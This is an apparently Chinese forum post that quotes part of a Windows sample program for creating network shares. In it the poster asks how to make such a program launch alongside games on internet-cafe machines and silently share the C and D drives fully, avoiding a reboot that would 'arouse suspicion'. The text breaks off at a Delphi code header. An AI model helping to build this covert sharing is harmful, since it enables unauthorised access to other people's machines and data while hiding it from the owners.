BOOL bSuccess = FALSE; // assume this function fails
if(argc < 4) {
printf("Usage: %ls [\\\\Server]\n", argv[0]);
printf(" directory is fullpath of directory to share\n");
printf(" sharename is name of share on server\n");
printf(" user/group is an WinNT user/groupname (REDMOND\\sfield, Administrators, etc)\n");
printf(" optional Server is the name of the computer to create the share on\n");
printf("\nExample: %ls c:\\public public Everyone\n", argv[0]);
printf("c:\\public shared as public granting Everyone full access\n");
printf("\nExample: %ls c:\\private cool$ REDMOND\\sfield \\\\WINBASE\n", argv[0]);
printf("c:\\private on \\\\WINBASE shared as cool$ (hidden) granting REDMOND\\sfield access\n");
return RTN_USAGE;
}
//
// since the commandline was Unicode, just provide pointers to
// the relevant items
//
◆◆◆我是楼主◆◆◆
这个程序要在网吧中运行,网吧中的任何机器默认是没有设置任何共享的。硬盘分为C D E三个分区,而且安装了还原精灵(只还原C分区),游戏安装在E盘。还安装有万象网管软件(但是允许下载、安装软件什么的)、诺顿杀毒软件等等。
我希望的效果是,当起动某些游戏时,这个程序跟着启动并悄悄的将C,D盘设置为完全共享。以方便我使用其他机器来访问这台机器。
修改注册表的方法我试验了,遗憾的是,只有在重启或注销后共享才生效,但是这样会使人起疑。见下面:
NetShareAdd这个函数我使用了,可是没有成功,不知道错在哪?见下面:
-------------------------------------------------------------------
unit Unit1;